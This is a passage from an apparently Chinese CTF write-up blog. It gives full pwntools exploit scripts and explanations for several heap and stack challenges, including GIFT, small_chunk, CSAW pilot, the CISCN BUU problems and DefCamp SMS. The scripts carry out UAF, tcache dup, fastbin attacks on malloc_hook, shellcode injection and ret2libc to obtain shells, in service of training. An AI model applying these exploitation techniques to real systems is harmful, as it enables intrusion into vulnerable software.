write(exit_got,setbuf_init) #exit->setbuf


# gdb.attach(p, "b *(0x400854) \n c")
IO_stdin4_mmap = 0x5EC974 #without PIE
IO_stdin_1_libc = 0x1EBA03
write2(IO_stdin4_mmap,0x11111111) #IO_stdin.flag->0x111111111fbad208b
sla(': ', str(256))
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc_base = leak - IO_stdin_1_libc
log.info("libc_base:0x%x"%libc_base)
one_gadget = libc_base + 0xe6c81

ru(": ")
sl("0")
ru(":")
sl("0")

write(calloc_got, one_gadget & 0xffffffff)
ru(": ")
sl(str(0))
p.interactive()

2.gift:这道题目我认栽,确实是做题经验少了,忘了利用chunk头+chunk联合fastbin的FILO原则来修改chunk头了。

(1)改chunk头,加上UAF漏洞,利用chunk头里的函数指针和参数,改成printf,直接格式化字符串泄露地址。

(2)同样道理,直接改函数指针指向堆上伪造的system_addr,利用参数/bin/sh直接getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./GIFT"
libc_file = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = ">> "


def add(size, con):
sla(menu, "1")
sla("size: ", str(size))
sa("content: ", con)


def delete(idx):
sla(menu, "2")
sla("index: ", str(idx))

add(0x28, "\x00") #0
add(0x28, "\x01") #1

delete(0)
delete(1)

add(0x18, "%8$p%9$p"+"\x30") #2
delete(0)
ru("0x")
heap_base = int(p.recv(12),16)-0x10
libc_base = int(p.recv(14),16) - 0x55810
# li("libc_base", libc_base)
# li("leak", leak)
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)

system_addr = libc_base + libc.sym['system']

add(0x38, "\x03") #3
add(0x38, "\x04") #4
add(0x48,p64(system_addr))#5

heap_system = heap_base+0x50+0x50+0x60+0x60+0x20+0x10
delete(3)
delete(4)
add(0x18,"/bin/sh\x00"+p64(heap_system)) #6
delete(3)
p.interactive()

3.small_chunk:我觉得出得最好的是这道题,确实不错。

(1)首先布局,利用off-by-one制作堆块重叠,然后unsortedbin泄露地址。

(2)由于chunk只能申请0x20和0x30,所以想要打fastbin attack,一般有以下三种方案来绕过:

①调用malloc_consolidate,整理fastbin中的chunk,使得fake_chunk的size变成合法的。这个有三种情况,具体分析,我都尝试了个遍,这里一个也用不了。

②利用unsotedbin attack,不过这个只能针对0x7f的情况,这里不太行。

③利用fastbinY链表,先伪造一个fastbin_chunk的fd为0x21或者0x31,申请回来fastbin_chunk,将0x21或者0x31留到fastbinY链表中,这样在main_arena中就留下了一个0x21或者0x31的数值,就可以利用这个数值伪造size来申请chunk到main_arena。之后0x20和0x30的fastbin打配合,将top_chunk地址改成malloc_hook的地方,再申请就可以申请到malloc_hook了。

需要注意的是,top_chunk改地址,需要绕过一些检测,所以一般两种情况:

A.free_hook-0xb58

B.malloc_hook-0x10

以上两种的size域都是一个libc地址,能够通过检测

这里由于堆块个数不够用,所以选择方案B,修改完malloc_hook为one_gadget后,再申请即可getshell。

▲这里在后面的复现中有点犯蠢,本来想申请到bss段上的,没办法泄露elf基地址。vmmap一看,发现heap_base和bss段固定偏移0x1000,这可给我高兴坏了,直接打bss段的size区域的地方。打完后,关机之后,再打开发现不顶用了。得,ASLR我之前给关了,再开就不是固定偏移了…..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./small_chunk"
libc_file = "./libc.so.6"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = ">> "


def add(size):
sla(menu, "1")
sla("size: ", str(size))

def delete(idx):
sla(menu, "2")
sla("index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("index: ", str(idx))

def edit(idx, con):
sla(menu, "4")
sla("index: ", str(idx))
sa("content: ",con)

add(0x18)#0
add(0x18)#1
delete(1)
delete(0)
add(0x18)
show(0)
ru("content: ")
heap_base = u64(rc(6).ljust(8,"\x00"))-0x20
log.info("heap_base:%x"%heap_base)
add(0x18)#1
chunk2_addr = heap_base+0x40
log.info("chunk2_addr:%x"%chunk2_addr)

add(0x28) #idx2
add(0x28) #idx3
add(0x28) #idx4

add(0x28) #idx5
add(0x28) #idx6
add(0x18) #idx7

add(0x28) #idx8
add(0x28) #idx9
add(0x28) #idx10
edit(2,
p64(0x0)+p64(0x81) #fakechunk.pre_size,fakechunk.size
+p64(chunk2_addr+0x10)+p64(chunk2_addr+0x10) #fakechunk.fd,fakechunk.bk
+p64(0x80)+p64(0x31)) #chunk1.pre_size, fakechunk.size = sizeof(chunka)-0x10
#trigger off-by-null or other overflow to set chunkb.pre_inuse equals to 1;


edit(4,p64(0x0)*4+p64(0x80)+p64(0xb0)) #chunk1.pre_size, fakechunk.size = sizeof(chunka)-0x10
#trigger off-by-null or other overflow to set chunkb.pre_inuse equals to 1;
delete(5)
add(0x18) #5
edit(2,"A"*0x10)
show(2)
ru("content: ")
rc(0x10)
main_arena = u64(rc(6).ljust(8,"\x00"))-88 -0x100-0x20
malloc_hook = main_arena-0x10
libc_base = malloc_hook-libc.sym['__malloc_hook']
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + libc.sym["system"] #system
free_hook_addr = libc_base + libc.sym["__free_hook"]
malloc_hook_addr = libc_base +libc.sym["__malloc_hook"]
top_addr_main = main_arena+88
one_gadget = libc_base + 0xf1247


log.info("free_hook_addr:0x%x"%free_hook_addr)
log.info("system_addr:0x%x"%system_addr)
log.info("main_arena:0x%x"%main_arena)
log.info("malloc_hook_addr:0x%x"%malloc_hook_addr)
add(0x28) #11
edit(11,"/bin/sh\x00")
add(0x28) #12
add(0x28) #13
add(0x28) #14
add(0x18) #15
delete(7)
edit(15,p64(0x31))
add(0x18)#7
delete(4)
edit(12,p64(main_arena))
add(0x28)#4
add(0x28)#16
edit(16,p64(main_arena+0x30)+p64(0x0)
+p64(0x0)*3+p64(0x31))
add(0x28)#17
edit(17,p64(0x0)*3+p64(malloc_hook_addr-0x10))
pause()
add(0x28)#18
add(0x28)#19
edit(19,p64(one_gadget))
pause()
add(0x28)
p.interactive()

其实这次比赛也学到很多,虽然比赛的时候一道题也没写出来,总的来说还是自己的经验太少。

CSAW Quals CTF 2017-pilot

1.常规check,发现这破程序啥保护也没开,而且还存在RWX段:

img

这不瞎搞嘛。之后IDA找漏洞,发现栈溢出:

1
2
3
4
#注释头

char buf; // [rsp+0h] [rbp-20h]
if ( read(0, &buf, 0x40uLL) > 4 ):

2.这里就可以思考下攻击思路,存在栈溢出,还有RWX段,考虑用shellcode。虽然这个RWX段是随机生成的栈,地址没办法确定。再看看程序,发现程序自己给我们泄露了buf的栈地址:

img

也就是说紧跟再location后面的打印出来的就是buf的真实栈地址,这样我们就可以接受该栈地址,然后用栈溢出使得我们的main函数返回时可以跳转到对应的buf地址上,而buf地址上的内容就是我们的输入,也就是输入的shellcode,这样就可以执行我们的shellcode了。

3.但是写完shellcode会发现程序崩溃,这里进入IDA调试一下shellcode。可以发现程序运行过程中,Main函数return执行之后,跳转到shellcode的地方,然后运行shellcode。但是这一过程中,栈顶指向了main函数return的地址。所以在运行shellcode过程中,由于shellcode中有一个push rbx命令,导致rsp向上移动8个字节会覆盖掉shellcode的首地址。本来这没啥事,毕竟已经进入到shellcode当中去了,但是后面还有push rax和push rdi这两个改变rsp的命令,这就导致了rsp再次向低地址覆盖了16个字节,总共覆盖了24个字节。但是我们输入的shellcode有48个字节,顺序为shellcode+nop*10+addr_shellcode,也就是扣掉最后18个字节,还多出来6个字节覆盖掉了我们的执行代码shellcode的最后6个字节代码,导致我们的shellcode没办法完全执行,最终导致程序出错。

4.由于read函数允许我们输入0x40,也就是64个字节,也就是在覆盖掉返回地址之后,我们还能再输入64-48=16个字节。由于push rdi之后的片段为8个字节(包括了push rdi),小于16个字节,能够容纳下我们被覆盖掉的shellcode的代码,所以这里我们可以考虑用拼接的方式来把shellcode完美执行。

5.现在考虑如何把两段shellcode汇编代码连在一起。有call,return和jmp,但是前面两条指令中,call会push进函数地址,而return也会修改栈和寄存器的状态,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。所以只能选择jmp跳转。

6.可以查阅Intel开发者手册或其他资料找到jmp对应的字节码,或者这个程序中带了一条Jmp可以加以利用。为EB,jmp x总共2个字节:EB x.

7.将两段隔开,从push rdi开始,将push rdi和之后的代码都挪到下一个地方。这时第一段shellcode应该是22+2(jmp x)=24个字节,距离下段shellcode的距离应该是48-24=24,也就对应0x18h,所以总的shellcode应该是shellcode1+EB 18h+shellcode2,这样可以顺利执行需要的shellcode。

▲jmp的跳转计算距离是从jmp指令下一条开始计算的。

▲shellcode的两段执行:

1.需要泄露地址,读取泄露地址:

A.print io.recvuntil(“Location:”)#读取到即将泄露地址的地方。

B.shellcode_address_at_stack = int(io.recv()[0:14], 16)#将泄露出来的地址转换为数字流

C.log.info(“Leak stack address = %x”, shellcode_address_at_stack)#将泄露地址尝试输出,观察是否泄露成功。

2.需要跳转jmp命令或者是return/call,但是return会pop eip,call会push eip,都会修改掉栈中的内容。如果shellcode的两段执行计算偏移地址的话,可能需要将这两个内容也计算进入。但是jmp就不会需要,是直接无条件跳转,所以大多时候选择jmp比较好。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

CISCN-BUU刷题记录2

1.ciscn_2019_es_1:UAF,tcache dup,比较常规,泄露地址,打free_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_2019_es_1"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","27956")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "choice:"


def add(size, con, call):
sla(menu, "1")
sla("compary's name\n", str(size))
sa("name:\n", con)
sla("compary call:\n", str(call))

def delete(idx):
sla(menu, "3")
sla("index:\n", str(idx))

def show(idx):
sla(menu, "2")
sla("index:\n", str(idx))

#main_arena_off = 0x3ebc40

add(0x410,"A",123) #0
add(0x18,"B",123) #1
add(0x08,"/bin/sh\x00",123) #2

delete(0)
show(0)
ru("name:\n")
malloc_hook = u64(rc(6).ljust(8,"\x00")) - 96 - 0x10
obj = LibcSearcher("__malloc_hook",malloc_hook)
libc_base = malloc_hook - obj.dump("__malloc_hook")
log.info("libc_base:0x%x"%libc_base)
free_hook = libc_base + obj.dump('__free_hook')
system_addr = libc_base + obj.dump('system')
delete(1)
delete(1)
add(0x18,p64(free_hook),123) #3
add(0x18,p64(system_addr),123) #4
add(0x18,p64(system_addr),123) #5
delete(2)
pause()
p.interactive()

2.ciscn_s_9:这题有点意思,栈溢出长度比较短,但是还是够用来泄露地址然后ret2libc。除此之外题目中给了一个hint,可以直接借用jump esp这个gadget来手写shellcode,拉动esp上移到我们输入位置,这样就不再需要考虑到劫持ebp上挪之后的函数剩下的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

binary = "./ciscn_s_9"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","26029")
elf = ELF(binary)
#libc = ELF(libc.so)

#sh has been in ELF
'''
sh_addr = 0x080482EA
payload = ""
payload += "A"*(0x48+0x4)
payload += p32(system_plt)
payload += p32(0x11111111) #paddding(system_plt ret addr)
payload += p32(sh_addr)
'''


#sh not in ELF
'''
payload = ""
payload += "A"*0x10
payload += p32(read_plt)
payload += p32(system_plt)
payload += p32(0x1) #fd
payload += p32(binsh_addr) #parameter
payload += p32(0x4) #n
payload += p32(binsh_addr)
'''

#leak addr
'''
payload1 = ""
payload1 += "A"*0x10
payload1 += p32(puts_plt)
payload1 += p32(main_addr)
payload1 += p32(puts_got)

payload2 = ""
payload2 = "A"*0x10
payload2 += p32(system_plt)
payload2 += p32(0x11111111) #paddding(system_plt ret addr)
payload2 += p32(binsh_addr)
'''

jump_esp = 0x08048554

shellcode= '''
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
mov al,0xB
int 0x80
'''
shellcode=asm(shellcode)

payload = ""
payload += shellcode
payload = payload.ljust(0x24,"A")
payload += p32(jump_esp)
payload += asm("sub esp,40;call esp")

ru(">\n")
pause()
sl(payload)
pause()
p.interactive()

3.ciscn_final_2:这题真是最有意思了,调了我快一天。

(1)bool公用,dup free之前必须先申请。

(2)int_pt和short_int_pt全局。

(3)开了seccomp保护,但是最开始加载了flag,句柄fd设置为666。

▲漏洞在没有清空指令,可以UAF和tcache dup。先常规思考一下思路,UAF和tcache dup泄露堆地址,之后构造chunk进入unsortedbin中,泄露libc地址,然后利用堆块上残留的libc地址部分写覆盖_IO_2_2_stdin_结构体中的fileno为666,这样在choice>4就可以利用scanf来直接读取句柄fd中的内容,也就是flag,顺带打印出来。

其它不说,需要注意的也就是一个printf的格式化输出,泄露堆地址的时候用int接收,然后判断一下是否小于0,小于0则加上0x100000000即可。

主要说libc地址泄露和利用。这里利用部分堆地址进行一定堆布局,修改int_chunk的size为0x4b1,这里我弄大了,只要超过tcache最大限制即可。(然后我看网上常规思路都是填满大于fastbin的tcache,但是我嫌比较麻烦,就用了自己的方法,事实证明大佬的方法其实更有效,比较不容易出错)然后就比较坑爹了。

①由于只有部分libc地址,所以两个选择,一是爆破,0x7fxx——–,需要大概爆破一个字节,0xff次。二是利用chunk上残留的地址,结合tcache up和UAF直接改后面四个字节,直接申请到我们想要地方。这里用第二种方法

②但是最坑爹的就是,scanf申请堆块啊,具体不知道申请多大,但是程序中可以输入99个字符,调试了好久,指定会申请堆块。

③如果直接利用int_chunk上残留的libc地址,但是这时候int_chunk已经被放入到unsortedbin中,结合tcache up和UAF势必会修改int_chunk的fd,然后就会造成unsortedbin被破坏,再加上之后的scanf申请堆块,不会从0x20和0x30的tcache中申请,得,直接崩溃:

malloc(): memory corruption: 0x00007fae88dc8c10 ***\n”

④然后我又想到要不为scanf预留一个chunk到tcache中?这样就不会从unsortedbin中切割了。结果调好久没调出来,果断放弃。

⑤最后灵光一闪,想到干嘛不直接劫持tcache结构体,由于int_chunk被放入unsortedbin中,那么如果int_chunk也在tcache中,就可以使得tcache结构体中0x30链表上留下main_arena+96的指针了啊。这样再申请short_chunk到这里,直接修改指针,再申请int_chunk就会申请到我们修改的地方,这样就不会造成unsortedbin破坏。

▲看了大佬的,还是直接填满tcache省事,不破坏unsortedbin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_final_2"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.26.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","29139")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "which command?\n> "


def add(Type, con):
sla(menu, "1")
sla(">", str(Type))
sa("your inode number:", con)

def delete(Type):
sla(menu, "2")
sla(">", str(Type))

def show(Type):
sla(menu, "3")
sla(">", str(Type))

def exit(con):
sla(menu,"4")
#sa("at last?\n",con)


add(1,"B")
delete(1)

for i in range(0,5):
add(2,"A")
delete(1)

show(1)
ru("type inode number :")
heap_low_four = int(ru("\n"))
if(heap_low_four<0):
heap_low_four += 0x100000000
log.info("heap_low_four:0x%x"%heap_low_four)

for i in range(0,3):
add(1,str(heap_low_four))
delete(2)

add(2,str(heap_low_four-0x10))
add(2,str(heap_low_four-0x10))
add(2,str(0x4b1))

#fill
for i in range(0,32):
add(2,str(0x51))

delete(2)
add(1,str(heap_low_four))
add(1,str(heap_low_four))
delete(1)
show(1)
ru("type inode number :")

malloc_hook = int(ru("\n"))- 96 - 0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)

libc_base_four = malloc_hook - obj.dump('__malloc_hook')
if(libc_base_four<0):
libc_base_four += 0x100000000
heap_base = heap_low_four-0x260
log.info("libc_base_four:0x%x"%libc_base_four)
__IO_2_1_stdin_fileno_addr = libc_base_four+obj.dump("_IO_2_1_stdin_")+0x70

add(1,str(malloc_hook+0x10+96))
delete(2)
add(2,str(heap_base+0x50+0x8))
add(2,str(__IO_2_1_stdin_fileno_addr))
add(2,str(__IO_2_1_stdin_fileno_addr))
add(1,str(666))

pause()

p.sendline("4")
p.interactive()

这里我都是int_chunk拿来泄露地址和利用,short_chunk来打辅助。

★另外记录下tcache方面的,tcache根源在于tcache结构体,所以如果tcache的bin中如下:

0x20[]:chunkA->chunkA.fd=1

那么如果这时候申请chunkA的同时修改chunkA.fd=2,对于的tcache的bin中只会是:

0x20[]:chunkA.fd=1,而不是chunkA.fd=2,因为在malloc时就已经将chunkA.fd=1放到tcache结构体中了,再修改chunkA.fd是没有意义的,只能修改tcache结构体才行。

★还有tcache的cout字段一直是个谜,如果cout>7,tcache的max宏定义没有被改,那么释放后的chunk是不会进入对于的tcache的bin中。但是如果cout<7或者<0,是不会有其他影响的,只会看tcache结构体中对应bin的链表中是不是0x0。是就当没有,有数据则就有chunk在该bin中,不管cout是多少(<7),并且malloc或者free后会对cout对应加减。(不同libc版本好像又不太一样,具体调试)

DefCamp CTF Finals 2016-SMS

1.常规checksec操作,开了PIE和NX,首先shellcode不能用。其次PIE表示地址随机化,也就是没办法覆盖返回地址来直接跳转到我们想要的函数处。IDA打开找漏洞,可以看到在doms函数中的v1的栈地址被传递给set_user和set_sms

img

之后set_user中会读取输入保存在S这个栈地址上,然后从s中读取前四十个字节到a1[140]-a1[180],这个a1就是doms函数中的v1。

img

再往后看,在set_sms函数中,同样读取1024个字节到S这个栈变量中,并且最后将S的特定长度strncpy给a1,这个特定长度就是a1[180]。所以这里我们可以通过set_user来控制a1[180],进而控制set_sms函数中strncpy给a1拷贝的长度,也就是doms函数中v1的长度,使其大于v1距离栈底的距离0xc0,从而在doms函数栈中执行栈溢出,而doms函数中的v1也就是a1,是在set_sms中由我们输入到S上的内容拷贝过去的,长度为0x400,完全可控。

img

另外程序存在后门frontdoor(),只要进入这个函数,再输入binsh字符串就能getshell。

2.所以现存在doms函数栈溢出,后门函数这两个漏洞,但是由于PIE,在程序运行过程中没办法确定frontdoor()的地址,无法直接覆盖doms函数返回地址到达后门函数

3.这里就需要用到内存页的一个知识点,由于一个内存页的大小为0x1000,而frontdoor()函数和dosms函数和main函数等等函数,都在同一个内存页上,所以在64位程序下他们的函数地址都是0x############x这种类型,前面12位#每次加载都不一样,而后面的三位不会发生改变,因为都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。用IDA打开按ctrl+s可以看到

img

这些段都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。而开启了PIE程序的,0000563cc913(x)这个数值每次都会变化,但是最后三位是不会改变的,就是固定相对于这个内存页起始位置的偏移。

4.所以覆盖返回地址时,可以想到,dosms函数的返回地址是call dosms下一条指令,也就是在main函数上,而frontdoor函数的地址与main函数的地址都在0x0000563cc913(x)这个内存页上。所以当程序被加载,0x0000563cc913(x)这个数值发生改变时,frontdoor函数和main函数地址中对应的数值也会相应改变,而且都是一样的。这种情况下,就可以通过修改dosms返回地址的后四位,也就是之前的(x)yyy来跳转到frontdoor。

